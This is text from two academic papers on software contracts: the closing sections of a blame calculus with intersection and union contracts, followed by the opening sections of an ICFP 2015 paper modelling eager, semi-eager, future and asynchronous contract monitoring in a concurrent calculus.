such that ς ′ ` N �∅ N ′ and ς,M −→∗ ς ′, N .

6. Technical Results
In the literature, contract soundness typically states that applying a
contract to an expression forces this expression to behave according
to the contract. We augment this theorem with a dual context part
that states that contexts ending in contract monitoring respect the
contract that is monitored.
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Theorem 4 (Contract soundness for expressions).

M @[ C ∈ JCK+.

Theorem 5 (Contract soundness for contexts).

L[�@[ C] ∈ JCK−.

However, such a soundness statement can be satisfied by a trivial
interpretation of contract assertion that does not terminate or that
throws some exception. Hence, we set out to prove a stronger result.
If we assert a contract to an expression that is known to satisfy the
contract, then no context should be able to elicit blame.

We need some notation to state this result. We write BLab(X)
for the set of blame labels occurring in syntactic phrases X like
expressions, contracts, and contexts. We write dom(ς) for the set
of blame identifiers that occur on the left side of a constraint in ς:
dom(ς) = {b | bJ(. . . ) ∈ ς}. This set is the largest set of blame
identifiers b that may be defined in the least solution LSol(ς). That is,
for x ∈ {subject, context}, if LSol(ς)(b, x) w f, then b ∈ dom(ς).

Theorem 6 (Subject blame soundness). Suppose that M ∈ JCK+.
For all ς , E with b /∈ dom(ς) ∪ BLab(M,C,E), ς ′, and N such
that ς, E[M @b C] 7−→∗ ς ′, N , it holds Jς ′K(b, subject) v t.

Theorem 7 (Context blame soundness). Suppose that L ∈ JCK−.
For all ς , M with b /∈ dom(ς) ∪ BLab(M,C,E), ς ′, and N such
that ς,L[M @b C] 7−→∗ ς ′, N , it holds Jς ′K(b, context) v t.

We are interested in the contraposition of these two theorems: If
reduction reaches a blame state for a subject, then there is a value
violating the corresponding contract; and dually, if reduction reaches
a blame state for a context, then there is indeed a context violating
its contract.

In the companion technical report [21] we show that λCon
V is a

conservative extension of the original blame calculus [13]. If we
restrict the contract language of λCon

V to flat contracts and function
contracts, then we can map programs in this restricted language to
Findler and Felleisen’s calculus and establish a bisimulation between
executions in the two calculi. The actual statement of the theorem is
somewhat technical.

7. Related Work
Higher-Order Contracts Software contracts evolved from Floyd
and Hoare’s work on using pre- and postconditions for program spec-
ification and verification [15, 19]. Meyer’s Design by ContractTM

methodology [22] stipulates the specification of contracts for all
components of a program and introduces the idea of monitoring
these contracts while the program is running.

Findler and Felleisen [13] were the first to construct contracts
and contract monitors for higher-order functional languages. Their
work has attracted a plethora of follow-up works that range from
deliberations on blame assignment [8, 31] to extensions in various
directions: contracts for polymorphic types [1, 17], for affine types
[30], and for temporal conditions [9].

Semantics of Contracts Blume and McAllester [4] construct a
semantics of contracts and show that it is sound and complete with
respect to Findler-Felleisen style contract monitoring. Their defini-
tion of the set of expressions that satisfy a contract is superficially
similar to ours, but there are some subtle differences that lead to
considerable technical complexity in their work. The key difference
is that their semantics does not have a counterpart to our notion
of a context respecting a contract. This omission forces them to
introduce a notion of safe expressions to exclude expressions that
do not respect their context. They do consider dependent function
contracts, the study of which we defer to future work.

Findler and Blume [11] model the semantics of higher-order,
non-dependent contracts using pairs of error projections. The seman-
tics is shown sound with respect to the Blume-McAllester model
and completeness holds for non-empty contracts. Unfortunately, a
projection-based semantics cannot be extended to dependent func-
tion contracts [12].

Dimoulas and Felleisen [7] investigate different styles of contract
monitoring, ranging from tight monitoring to shy monitoring. Their
base language is CPCF, a simply typed lambda calculus with higher-
order (dependent) contracts and monitoring. Instead of providing a
denotational semantics of contracts (as we do), they base their work
on contextual equivalence and contextual simulation. While a set
of contract-abiding terms could be derived from their definitions,
the thus defined semantics would be defined in terms of monitoring,
whereas our semantics is defined without recourse to monitoring.
On the other hand, this choice enables the authors to relate different
styles of contract monitoring and to clarify blame assignment by
splitting contracts in a server (subject) and client (context) part,
which compose back to the original contract. They do not investigate
further operators on contracts.

Combinations of Contracts Racket’s contract system [14, Chapter
8.1] supports the operators and/c and or/c on contracts. They
are designed to extend their obvious action on flat contracts as
conjunction and disjunction in a practically useful way to higher-
order contracts. However, they are significantly different from
intersection and union, so our proposal may be a useful complement.

The contract (and/c C . . . ) “. . . tests any value by apply-
ing the contracts in order, from left to right.” Thus, a contract like
(and/c (-> number? number?) (-> string? string?)) al-
ways raises context blame because no argument can be a number
and a string at the same time. In contrast, the intersection contract
(Num → Num) ∩ (Str → Str) enables a context to choose
between a number and a string argument.

The documentation of (or/c C . . . ) is quite involved with
many operational details. Essentially, the flat contracts among C . . .
are checked in order. If one of them succeeds, then the disjunction
succeeds. Otherwise, the first-order parts of the remaining contracts
are checked in order. The disjunction fails unless exactly one
contract remains: in that case, the checked value is wrapped in
the remaining contract.

Compared to intersection or union, or/c does not handle arbi-
trary combinations of flat and function contracts. It is not possible
to construct the or/c of two function contracts of the same arity
because such functions cannot be told apart by a first-order check.

Racket’s case-> operator [14, Chapter 8.2] essentially provides
an arity-indexed function contract. Hence, the arity of each sub-
contract must be different and, when asserted, a first-order arity
check suffices to select one of the sub-contracts. Then the function
gets wrapped as usual. This functionality is very specific to Racket
and it is not clear whether it could be modeled with intersection
and/or union.

In summary, Racket’s contract system supports operators in-
spired by disjunction and conjunction. Their specification is opera-
tional and their properties are designed to fit the needs of a practical
programmer. In contrast, our proposal for intersection and union con-
tracts has a denotational specification grounded in type theory and
our operators inherit the properties of the type-theoretic constructs.

The rewriting-based approach to check higher-order contracts
symbolically [29] also supports contract operators in the spirit or
and/c and or/c. This approach is designed to fit in with Racket’s
contract implementation and has similar restrictions.
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8. Conclusion
Our calculus of blame assignment for higher-oder contracts with
intersection and union contracts has a number of novel aspects. First,
the specification for intersection and union contracts is strongly
inspired by their type-theoretic counterparts. This connection tightly
integrates statically and dynamically typed worlds which may be
beneficial for future integration in a gradual type system.

Second, our development is based on a novel denotational
semantics of contracts. It distinguishes a set of terms, subjects,
that satisfy a contract and a set of contexts that respect the contract.
Our monitoring soundness result proves that terms from the former
set can never lead to subject (positive) blame whereas contexts from
the latter set can never lead to context (negative) blame.
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Abstract
We present a new approach to contract semantics which expresses
myriad monitoring strategies using a small core of foundational
communication primitives. This approach allows multiple existing
contract monitoring approaches, ranging from Findler and Fell-
eisen’s original model of higher-order contracts to semi-eager, par-
allel, or asynchronous monitors, to be expressed in a single lan-
guage built on well-understood constructs. We prove that this ap-
proach accurately simulates the original semantics of higher-order
contracts. A straightforward implementation in Racket demon-
strates the practicality of our approach which not only enriches
existing Racket monitoring strategies, but also support a new style
of monitoring in which collections of contracts collaborate to es-
tablish a global invariant.

Categories and Subject Descriptors F.3.1. [Logics and Meanings
of Programs]: Specifying and Verifying and Reasoning about Pro-
grams; D.3.3. [Programming Languages]: Language Constructs
and Features

Keywords Lazy monitoring, asynchronous monitoring, behav-
ioral specification

1. Introduction
Since they were introduced by Meyer [25], behavioral contracts
have become an integral part of modern programming prac-
tice, where they are used to express predicates as pre- and post-
conditions on procedures. In a first-order setting, run-time enforce-
ment is well-studied [25, 27, 28]: the pre-condition predicate is
applied to the input; the function is run if the precondition holds;
and the post-condition is checked on the result.

However, when the setting changes from first-order to higher-
order functions, effectful operations, large data structures, or even
lazy languages, contract checking becomes more complex. With
higher-order functions, contracts must be postponed until the func-
tion is used [16]. With large data structures, programmers wish to
avoid checking more than needed. With lazy languages, contracts
can force excess evaluation. Fortunately, all of these issues have
been tackled, with researchers proposing solid theoretical founda-
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tions [4, 15, 16], language integration accommodating existing se-
mantics [6, 11, 19, 22], and new forms of contracts [1, 11, 18, 20,
32]. Contracts are now available in a broad range of production
systems.

Even for the specific task of monitoring functions and primitive
values, there are a broad number of approaches to contract monitor-
ing presented in the literature, from eager contracts à la Findler and
Felleisen [16] to future contracts as presented by Dimoulas et al.
[10], and even broader shapes such as the temporal approach pre-
sented by Disney et al. [13]. There are, in fact, so many approaches
to contract monitoring that Degen et al. [7, 8] and Dimoulas and
Felleisen [9] have presented surveys of different approaches, dis-
cussing their similarities and differences.

Despite appearances, this cornucopia of monitoring strategies
share a common core. Going back to first principles, checking that
a given code fragment satisfies a contract clearly requires executing
some “assertion” code, and the execution of this assertion code is
conceptually distinct from the execution of the original code frag-
ment. There is no fundamental reason why either of these modes of
execution should be given supremacy. In particular, taking the view
that the contract execution is somewhat subservient to the main
thread of execution only restricts and complicates the language;
only in the simplest cases does the interaction of the two executions
follow a routine master/slave or call/return pattern. In many cases,
it is conceptually clearer to view the two executions as proceeding
independently, synchronizing at specific points. Prior implemen-
tations and semantic foundations for contracts have merged these
non-trivial patterns of interaction into the single, fixed evaluation
semantics for the host language. This not only restricts the power
of contracts but obscures the powerful idea that contract checking
is just a separate process of execution that interacts with the under-
lying program in a variety of communication patterns.

We tackle this problem head-on, giving a unifying account of
multiple contract monitoring semantics while exposing their under-
lying communication patterns. The communication-centric account
clarifies the precise differences between monitoring semantics and
how they impact the overall flow of program execution.

Outline. This paper presents a new model for interpreting and
expressing contract monitoring semantics as models of communi-
cation that facilitate coexistence and semantic interoperability in
the presence of contracts. This paper proceeds as follows: we out-
line our approach through examples of contract monitoring (§2).
Next we present a calculus with CML-style concurrency opera-
tions, demonstrating how these operations, combined with excep-
tions and delaying mechanisms, may recover varied methods of
contract monitoring, including eager, semi-eager, future, and asyn-
chronous monitoring [7, 8, 10, 16, 18] (§3–4). Then we prove that
our model accurately simulates the original semantics of Findler
and Felleisen [16] (§6). Next we present a thread-based implemen-

Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from Permissions@acm.org.
Copyright is held by the owner/author(s). Publication rights licensed to ACM.

ICFP’15, August 31 – September 2, 2015, Vancouver, BC, Canada
ACM. 978-1-4503-3669-7/15/08...$15.00
http://dx.doi.org/10.1145/2784731.2784742

387



tation of our framework in Racket and use this system to create
a structural contract sketched by Findler et al. [18], but with im-
proved algorithmic bounds and performance results (§7). Finally
we outline how to embed a number of additional monitoring ap-
proaches into our semantic model, including lazy, temporal, and
statistical monitors (§8), discuss related work (§9), and conclude.

2. Background and Examples
In the conventional study of software contracts, a language designer
extends a core calculus with monitoring facilities that adhere to a
specific monitoring strategy, describing how monitors may interact
with the underlying program evaluator and the precise semantics of
the monitor itself. This semantic decision is a permanent fixture of
the language, often lacking facilities to extend or alter the strategy.

In this section we start to address this problem, abstracting away
from this “one-strategy” approach in favor of a many-strategy user
language. This language abstracts over how contracts may inter-
act with the underlying evaluator, parameterizing contract moni-
tors with monitoring strategies which indicate precisely how and
when a given contract may interface with the user program. This
moves the decision of how contracts should be monitored into the
programmer’s hands, allowing users to naturally describe contract
behavior on a program-by-program basis.

Eager Predicate Contracts. Our first example is a predicate con-
tract that verifies its input is a natural number 1:

nat/c
∆
= pred/c (λx. x ≥ 0)

We can now use this contract to construct a monitored subexpres-
sion inside a larger expression, using the eager strategy:

1 + check nat/c eager 5

When the evaluation of this expression encounters the check pa-
rameterized by eager, the user computation is suspended and the
monitor assumes control of the evaluation. Eager monitors com-
pletely verify their contract at assertion time: if the input value is
valid, the monitor terminates with that value result, and if the input
does not satisfy the contract, the monitor terminates at assertion
time with an exception2. In either case, the user evaluation is re-
sumed with the monitor’s result.

This interaction corresponds to Eager Monitoring in Figure 1:
the check form constructs a monitoring expression (colored red) to
verify the contract, pausing the user evaluation until it is complete.
The bold line indicates evaluator construction, the double-arrow
indicates evaluator synchronization, and the normal arrows indicate
evaluation.

Eager Pair Contracts. Eager monitors produce contract violation
even if the program does not rely on the value for its final result,
and thus unused values may produce contract violations. To demon-
strate this quality, consider a second contract combinator over pairs,
written pair/c. Structural contracts require subcomponents that de-
scribe how the substructures should be monitored, and thus pair
contracts accept a subcontract and strategy for each of the first and
second elements of the pair:

nat/pcE
∆
= pair/c

nat/c eager
nat/c eager

1 By convention, we name contracts and contract combinators with a trailing
/c; all of the combinators we use in this section are defined as library
functions in Sec. 5.
2 We omit blame in this section for simplicity.

This pair contract can itself be eagerly enforced, which will eagerly
monitor nat/c on each of the elements of the pair, regardless of their
usage in the program:

fst (check nat/pcE eager (5, 6)) ⇒ 5
fst (check nat/pcE eager (5, -1)) ⇒ exn

The Cost of Eager Contracts. The strict enforcement strategy of
eager contracts is not always a perfect-fit solution. For example,
an eagerly-monitored contract that verifies its input is a prime
number may require immense computational effort while the user
evaluation is suspended:

check prime/c eager (2 ∗ 3763 + 567)

While such enforcement may be ideal (or even necessary) in many
situations, this approach may range from computationally intensive
to impossible for large or infinite structures (such as streams). If this
is the only monitoring strategy available, programmers will find it
too expensive to validate many rich properties.

Asynchronous Contracts. Instead of suspending the user eval-
uator during contract verification, other approaches allow the
user evaluator to proceed while the contract is concurrently en-
forced [10, 13]. In the simplest variant of the idea, the monitor is
concurrently verified and halting the computation with an error if
the contract is violated, and the user process is otherwise unim-
peded.

This approach corresponds to Asynchronous Monitoring in Fig-
ure 1: the check form constructs a monitored expression (colored
red) to verify the contract, continuing the user evaluation in paral-
lel. If the monitor verifies the contract, it silently ends its execution.
If an error is detected, however, the entire computation might halt
with the error. For example, we may asynchronously enforce nat/c
in a number of expressions by changing eager to async:

check nat/c async 5 ⇒ 5
(λx. x + 5) (check nat/c async -1) ⇒ 4 or exn

We use “or” in the second example because asynchronous monitors
may not complete before the user evaluator. Asynchronous moni-
toring only guarantees “best-effort checking”: if a contract is too
large or complex to verify during the program’s execution, and the
program otherwise terminates correctly, then the remaining veri-
fication work is discarded. As a result, asynchronous contract en-
forcement is often “too weak”, precisely because the two evaluators
are completely disjoint. It may be preferable to facilitate a synchro-
nization between the two evaluators at the user program’s request.

Future Contracts. In their original presentation [10], future con-
tracts track a master (user) process and a slave (monitoring) pro-
cess, synchronizing during I/O events to enforce pending contracts.
We take a more traditional approach to future monitors, providing
the initiating process with a promise—a reference to the monitor
result à la computational futures [3, 21]. When the initiating evalu-
ator forces the promise, the expression retrieves the contract result,
yielding either the original value or an error. This style of contract
monitoring allows the user program to control when the program
will wait for a contract result by forcing the promise (represented
as a ref).

check nat/c future 5 ⇒ ref
check nat/c future -1 ⇒ ref
force (check nat/c future 5) ⇒ 5
force (check nat/c future -1) ⇒ exn

This series of interactions correspond to Future Monitoring in Fig-
ure 1: the check form constructs a monitored expression (colored
red) to verify the contract and a future-fulfillment mechanism (as
another process, colored blue) before returning a reference to the
future-fulfillment mechanism to the user process. This allows the
user evaluator to continue computation until the value is required
while a concurrent process enforces the contract, minimizing the
time required in the user evaluator for contract enforcement. To
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Eager Monitoring

check nat/c eager (+ 2 3)

read ι

5

write ι (nat/c (+ 2 3))

write ι 5

Asynchronous Monitoring

check nat/c async (+ 2 3)

(+ 2 3)

5

nat/c (+ 2 3)

5

Future Monitoring

check nat/c future (+ 2 3)

ι1,ι2

force ι1,ι2

(seq
(write ι1 unit)
(read ι2))

(read ι2)

5

write
ι
(nat/c (+ 2 3))

write ι 5

unit

read ι1
write ι2 (read ι)

write ι2 (read ι)

write ι2 5

unit

Semi-Eager Monitoring

check nat/c semi (+ 2 3)

read ι

ι1,ι2

force ι1,ι2

seq (write ι1 unit) (read ι2)

(read ι2)

5

write ι (delay (nat/c (+ 2 3)))

write ι ι1,ι2

unit

read ι1
write ι2 (nat/c (+ 2 3))

write ι2 (nat/c (+ 2 3))

write ι2 5

unit

Figure 1. Communication patterns for eager, semi-eager, future, and asynchronous contract monitoring. The red regions indicate contract-
checking evaluators and the blue regions indicate delay-reference evaluators.

further demonstrate this behavior, consider a revised contract over
pairs that checks its sub-contracts using future:

nat/pcF
∆
= pair/c nat/c future nat/c future

Now we must explicitly force the subcomponents of the pair:
fst (force (check nat/pcF future (5, -1))) ⇒ ref

force (fst (force (check nat/pcF future (5, -1)))) ⇒ 5
force (snd (force (check nat/pcF future (5, -1)))) ⇒ exn

force (fst (check nat/pcF eager (5, -1))) ⇒ 5
force (check nat/pcE future (5, -1)) ⇒ exn

The last two examples are of particular interest: each pair contract
requires three strategies for each of its first sub-component, second
sub-component, and the overall pair. If we use future for all three,
we receive a promise that, when forced, returns a pair of further
promises. Our framework allows the free intermixing of monitoring
strategies, however, so we can construct a pair contract that is
enforced at assertion time while delaying each of the subcomponent
contract, or that eagerly enforces its subcomponents when forced
(as in the last example, which uses nat/pcE, the eager pair contract).

Semi-Eager Contracts. The presentation of future contracts pre-
sumes that the contract monitor is too computationally complex
to perform while suspending the user evaluator. Delaying the ac-
tual contract evaluation, however, is often sufficient: if a structural
contract may be checked in layers and pieces as the program tra-
verses the structure, piece-wise demand-time contract enforcement
is often sufficient. This suggests a fourth model of contract moni-
toring which delays the monitor enforcement until the user evalua-
tor forces the expression. Findler and Felleisen first used so-called
semi-eager evaluation to model contracts across module bound-

aries, enforcing contracts only when invoked by the client mod-
ule [16]. Hinze et al. [22] and Degen et al. [7] model this approach
by encoding the Findler-Felleisen semantics directly in Haskell,
and Chitil [5] builds on this encoding, introducing a number of
combinators that exploit this delaying behavior.

Future monitoring closely mirrors semi-eager monitoring: while
the former immediately performs contract enforcement but delays
evaluator communication, the latter delays contract enforcement
and immediately performs communication afterwards. As a result,
the two strategies behave identically from the user’s perspective in
the absence of effectful operations and computational time:

check nat/c semi 5 ⇒ ref
force (check nat/c semi -1) ⇒ exn
(λx. 1 + force x) (check nat/c semi 5) ⇒ 6
(λx. 1 + force x) (check nat/c semi -1) ⇒ exn

While the usage looks identical with respect to expected outputs,
the underlying semantic differences expose an axis of variation for
contract monitors: where the delaying mechanism occurs in the
monitoring process. This difference is apparent in the pattern pre-
sented as Semi-Eager Monitoring in Figure 1: we move the delay
mechanism creation from the user evaluator to the monitoring eval-
uator, and thus expose a natural variance in monitoring semantics.

Data Structural Contracts. The contracts we have presented so
far omit a large part of the design space for contracts: neither
predicates nor pairs readily lend themselves to recursive contracts.
Binary-search trees, conversely, provide an interesting venue for
exploring structural contracts in the large, presenting opportunities
for contract enforcement that contrast well with the asymptotic and
algorithmic obligations of the underlying structure. For example,
we might construct a contract to ensure that a given tree is indeed
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organized in sorted order. We can do this with a dependent tree
contract that takes four subcontracts and strategies for each of the
leaf, left subtree, node value, and right subtree:

fix bst/E lo hi.
tree/dc (pred/c null?) eager leaf

(λn. bst/E lo n) eager left
(pred/c (λx. lo ≤ x and x ≤ hi)) eager value
(λn. bst/E n hi) eager right

This contract ensures that each leaf of the tree is a null value and
each value that occurs in the tree is within the correct numeric
bounds. Under eager monitoring this contract must traverse the
entire tree to enforce this constraint, requiring O(n) time, whereas
a insertion algorithm would require O(logn) time in a balanced
tree. This style of monitoring is often preferable to ensure program
safety, but such traversals become problematic as the structure
increases in size. We can forgo such a strong guarantee, however,
and opt for semi-eager contract enforcement:

fix bst/S lo hi.
tree/dc (pred/c null?) eager

(λn. bst/S lo n) semi
(pred/c (λx. lo ≤ x and x ≤ hi)) eager
(λn. bst/S n hi) semi

This contract will enforce the invariant on exactly the nodes we
visit during the program, which will recover O(logn) complexity
for insertion into a balanced tree. Even so, we have tied the user
evaluator to this contract, relying on the user program’s evaluation
to enforce the contract. Departing from such a coupling requires a
full separation of the monitoring evaluator from the user evaluator.

Future monitors provides two approaches to such separation.
In the first, we construct such a monitor by replacing the two
uses of semi with future in the definition of bst/S, yielding
bst/F. This third implementation of the binary-search tree invariant
yields a unique situation: the future monitors will traverse the entire
structure of the tree, but the user evaluator only waits on the results
that are relevant to the completion of the program. Thus we may
complete the user evaluator’s computation without enforcing the
invariant over the entire tree.

Alternatively, we might enforce bst/E concurrently under the
future strategy, demanding the promise at the end of the entire
user program. This will allow us to continue with a computation,
verifying the contract concurrently and retrieving the final result at
the last possible moment. This last alternative for future monitoring
may also be constructed with asynchronous monitoring: the mon-
itor will traverse the entire tree and enforce the contract, reporting
an error only if and when it is detected.

Function Contracts. Monitoring a function contract verifies con-
tracts on a function’s input and output values. Like a pair contract,
a function contract consists of two sub-contracts and their associ-
ated strategies: the first contract, or pre-condition, is enforced on
function inputs, and the second contract, or post-condition, is as-
serted on the result of the function application. These contracts are
constructed with the function contract combinator func/c:

fnat/cE
∆
= func/c nat/c eager nat/c eager

fnat/cS
∆
= func/c nat/c semi nat/c semi

Function contracts deviate from pair contracts in one important
way: while it was possible to write eager pair contracts that might
produce inefficiency or diverge, the equivalent approach for func-
tion contracts is untenable. For any infinite set of valid inputs or
outputs, such as the natural numbers, it is generally impossible to
traverse the entire domain and codomain of a procedure to ensure
that each adheres to the pre- and post-condition.

To avoid this problem, functional contract enforcement post-
pones the pre- and post-condition contracts until the function’s
precise input is available. This delay manifests as a secondary
λ-abstraction around the monitored procedure, and thus while a

function contract may be monitored under any strategy, that over-
all strategy only determines when the wrapped procedure is con-
structed [4]. (The literature suggests an alternative method for
checking function contracts through statistical verification [12, 14],
which we discuss in Sec. 8.) We define two monitored procedures
using the contracts above:

sub1/mE
∆
= check fnat/cE eager (λx. x − 1)

sub1/mS
∆
= check fnat/cS eager (λx. force x− 1)

We use eager in both cases to avoid delaying the construction of
the wrapped procedure. Applications proceed as follows:

sub1/mE 5 ⇒ 4 (ef1) sub1/mS 5 ⇒ ref (sf1)
sub1/mE -1 ⇒ exn (ef2) sub1/mS -1 ⇒ exn (sf2)
sub1/mE 0 ⇒ exn (ef3) sub1/mS 0 ⇒ ref (sf3)

force (sub1/mS 0) ⇒ exn (sf4)

The first three examples are as expected: no contract is violated
in the first, the pre-condition is violated in the second, and the
post-condition is violated in the third. The semi-eager examples
are more intricate: example (sf1) behaves as expected, returning a
reference that will yield 4 when forced, example (sf2) produces an
exception when the value monitored by the pre-condition is forced
in the body of the function, and examples (sf3) and (sf4) indicate
that the post-condition result must be demanded before usage.

The Many-Strategy Approach. Unfortunately, none of these ap-
proaches provide a single “silver bullet” solution to contract mon-
itoring. While Degen et al. [7] conclude that “faithfulness is better
than laziness”, we assert that each strategy is an ideal fit in a num-
ber of situations, and so fixing the contract evaluator with a single
strategy is a poor fit for programmer flexibility.

Furthermore, there is evidence that some useful contracts cannot
be expressed with any of the strategies or combinators we have
introduced so far [18]. For example, consider checking the fullness
of a binary search tree, which ensures that a tree of height n has
2n nodes. This property is easy to verify by traversing the tree,
but it poses subtle issues for contract monitoring strategies. We
would like to check as much of the tree as possible without forcing
additional evaluation, but the contract requires traversal and thus
we require some mechanism to back-propagate values to waiting
contracts as the tree is explored.

As we will see in Sec. 7.2, asynchronous and semi-eager strate-
gies combined with communication allow us to write this back-
propagation mechanism, arranging a series of callbacks to verify
the tree is full. This contract requires careful construction, but it
will allow us to signal an error after we have traversed any unbal-
anced part of the subtree to its leaves.

The contracts we have examined thus far are all built from the
same primitive effects: exceptions, concurrent processes with com-
munication, and delaying and forcing mechanisms. In the next
sections we will outline a core calculus with these operations
and demonstrate how to construct general, generic, and strategy-
agnostic monitoring mechanisms from them.

3. A Concurrent Calculus for Contracts
Having demonstrated the core ideas of this new approach to con-
tract monitoring, we turn our attention toward formalizing these
features in λCC, the calculus of concurrent contracts. This calculus
combines several standard features, including pure λ-expressions,
exceptions, delay and force primitives, and a process model in-
spired by Concurrent ML [24, 29, 30]. The pure λ-calculus portion
of the calculus includes several common forms (the unshaded por-
tion of Figure 2), including if, case, pairs, and recursive bindings.
Each of the additional language layers provides a separate level of
abstraction in λCC aimed at a distinct class of clients:
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e := x | v | e e | if e then e else e | (e, e)
| unop e | binop e e | case (e; inl x . e; inr x . e)
| injl e | injr e
| check e e e B | force e | raise e
| read e | chan e | write e e
| spawn T e | delay e | catch e e

v := λx. e | fix f x. e | true | false | inl v | inr v | (v, v)
| unit | n | str | B | s
| ι | drefι1,ι2

B := (str, str, str)
s := eager | semi | future | async | · · ·

E := � | E e | v E | if E then e else e | (E, e) | (v, E)
| unop E | binop E e | binop v E
| case (E; inl x . e; inr x . e) | injl E | injr E
| check E e e B | check v E e B | force E | raise E
| write E e | write v E | chan E | read E
| catch E e | catch v E

a := v | raise v
P := P + P | 〈n, T | e〉 | done a
T := U | M | A
K := {ι0, ..., ιn}
C := � | 〈n, T | E〉 | C + P

Figure 2. Syntax of λCC.

• The λ-calculus with check, raise, strategies s, blame B, and
force (but not delay), appearing as “white” and red in Figure 2.
This language fragment provides a framework for user pro-
grams that wish to enforce contracts and interact with delayed
contract values. Contract writers also use this calculus to con-
struct contracts and contract combinators that naturally adhere
to the standard notions of value propagation for contracts. All of
the contract combinators used in Sec. 2 and defined in Figure 6
are written in this language. Furthermore, we track blame fol-
lowing Dimoulas et al. [11]: each blame object contains three
strings, indicating the contract, positive, and negative parties.

• The λ-calculus with the above features and synchronous pro-
cess facilities chan, read, and write, including the white, red,
and purple portions of Figure 2. These primitives allow con-
tract writers to interact with the contract runtime to craft ad-
ditional patterns of communication between monitoring evalu-
ators to recover new—and sometimes improved—contract en-
forcement patterns. These three forms are colored purple to in-
dicate their dual nature as contract writing facilities and under-
lying semantic specification. The only style of contract where
we have found this necessary uses these communication facil-
ities to propagate information between subcontracts in a recur-
sive, dependent structural contract (as in the fullness verifica-
tion described in the previous section). We show how to express
this style of contract in our Racket implementation in Sec. 7.

• The full calculus, including everything in Figure 2 (the white,
red, purple, and blue portions), adds the additional features to
complete the semantic model of contract monitoring in terms of
processes. These effects along with answers a, channel names
ι, the special delay reference form (Sec. 3.2), process pools P ,
process tags T , channel maps K, evaluation contexts E , and
process contexts C, provide a basis for the implementation of
check, force, and delay. Furthermore, this calculus serves as
a semantic specification for the runtime evaluation of contract
monitors, giving an account of the underlying operations of
contracts, and it is not intended for use in user programs.

Process Evaluation Rules

e 7→ e′

K;P + 〈n, T | e〉 ⇒ K;P + 〈n, T | e′〉
(STEP)

n /∈ C[spawn T e]
K; C[spawn T e]⇒ K; C[unit] + 〈n, T | e〉

(SPAWN)

ι /∈ K
K; C[chan v]⇒ K∪ {ι}; C[v ι]

(CHANNEL)

ι ∈ K
K; C[read ι] + C′[write ι v]⇒ K; C[v] + C′[unit]

(SYNC)

K; 〈n,U | a〉+ PA ⇒ K; done a
(TERM1)

K; 〈n,M | v〉+ P ⇒ K;P
(TERM2)

K; 〈n,A | v〉+ P ⇒ K;P
(TERM3)

K; 〈n,A | raise v〉+ P ⇒ K; done (raise v)
(TERM4)

Exception Evaluation Rules

catch h � /∈ E
E[raise v′]→ raise v′ catch h v → v catch h (raise v′)→ h v′

Figure 3. Small-step semantics for the effectful forms of λCC.

3.1 Core Features
We have already introduced the core user language (colored white
and red) with canonical λ-calculus forms3 through a series of ex-
amples, and thus we now focus on the remaining pieces of λCC:
exceptions, processes, check, delay, and force. Exceptions are stan-
dard, and each of check, force, and delay are implemented in terms
of processes, and thus we briefly explain exceptions and focus on
the concurrent aspects of λCC, postponing delay and force until
Sec. 3.2. The check form is described in Sec. 4, where we pro-
vide the semantics for each of eager, async, future, and semi
monitoring in terms of the underlying process calculus and delay.
In the remainder of the paper we use→ for a single local evaluation
rule and 7→ for a top-level evaluation step.

Exceptions We include the standard exception mechanisms raise
and catch to report and handle contract violations. The last three
rules in Figure 3 illustrate their behavior. The catch h e form in-
stalls a handler h during the evaluation of e. If that evaluation ter-
minates with a value v, the handler is discarded and the entire form
evaluates to v. Otherwise the evaluation of emay raise an exception
value v′, in which case the intermediate contexts are discarded until
either the exception reaches the top level or encounters the closest
handler. In the latter case, the handler h is invoked on v′.

Processes and Process Calculus Runtime configurations in λCC,
written K;P , consist of a collection of channels K that scope over
concurrent processes P . The set of channels K grows over the

3 The semantic relations for these forms are standard and thus omitted.
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catchM
∆
= λx f. case (x; inl y . f y; inr y . raise y) rep/D

∆
= fix rep/D i1 i2 x. seq (read i1) (write i2 x) (rep/D i1 i2 x)

v 6= drefι1,ι2
force v → v force (drefι1,ι2)→ seq (write ι1 unit) (catchM (read ι2) id)

delay e→ chan (λi1 i2. seq (spawn A (seq (read i1) (let x = catch injr (injl e) in seq (write i2 x) (rep/D i1 i2 x)))) drefi1,i2)

Figure 4. Small-step semantics for a delaying mechanism in λCC.

course of evaluation as new channels are constructed for commu-
nication with chan. The syntax distinguishes three kinds of pro-
cesses: 〈n, T | e〉 represents an individual process made up of a
unique process numerical identifier n, a process tag T , explained
below, and a λ-expression e; done a is a a halt state that indicates
the computation has terminated with an answer a; and P+P is the
concurrent computation of processes (or collections of processes).
Process contexts C allow us to decompose process configurations,
analogous to decomposing expressions via evaluation contexts E .

The remaining semantics in Figure 3 formalizes the behavior of
processes. We use ⇒ to rewrite process configurations, where ⇒
is non-deterministic in the result depending on scheduling choices.
The rules implicitly equate configurations that differ only in the
names of bound variables and the order or grouping of processes.

The first rule, STEP, describes internal steps taken during pro-
cess evaluation: if the process body can take a top-level step
e 7→ e′, then the process may take an internal step under the⇒
relation. The second rule, SPAWN, describes process creation. We
require two arguments to spawn a process: a process tag T , signi-
fying the nature of the process, and an expression e to evaluate in
the new process. In a well-formed configuration, there is exactly
one process tagged U which represents the “main” computation.
Configurations may include any number of monitoring processes,
tagged M, as well as asynchronous processes, tagged A. Spawn-
ing a new process allocates a unique process identification number,
adds the process to the configuration, and yields unit in the original
process.

The third rule, CHANNEL, creates new channels for syn-
chronous process communication. This form takes a one-argument
procedure v as input, creates a new channel ι, adds it to K, and
provides the new channel as input to the procedure v. The fourth
rule, SYNC, describes synchronous communication: if the program
configuration includes a process ready to write a value across a
channel and another ready read from the same channel, these two
processes can simultaneously perform the communication step.

The termination behavior of a process is dictated by its tag,
U, M, or A, described by TERM1–TERM4 in Figure 3. If a
process configuration consists solely of a finished user process
and asynchronous processes, the configuration may halt non-
deterministically with the result of the user process. If any of the
asynchronous processes has detected a contract violation, the con-
figuration may also non-deterministically terminate with that con-
tract violation. If a monitoring process halts with an error due to a
malformed expression, the entire configuration becomes stuck and
is unable to take another evaluation step.

3.2 Delay and Force
Some contract monitoring strategies (e.g., semi-eager and future)
require fine-grained interaction with the user evaluator in the call-
by-value calculus to delay the evaluation of code fragments. One
way to express such interactions would be to require user expres-
sions to provide synchronization hooks for the monitoring thread.
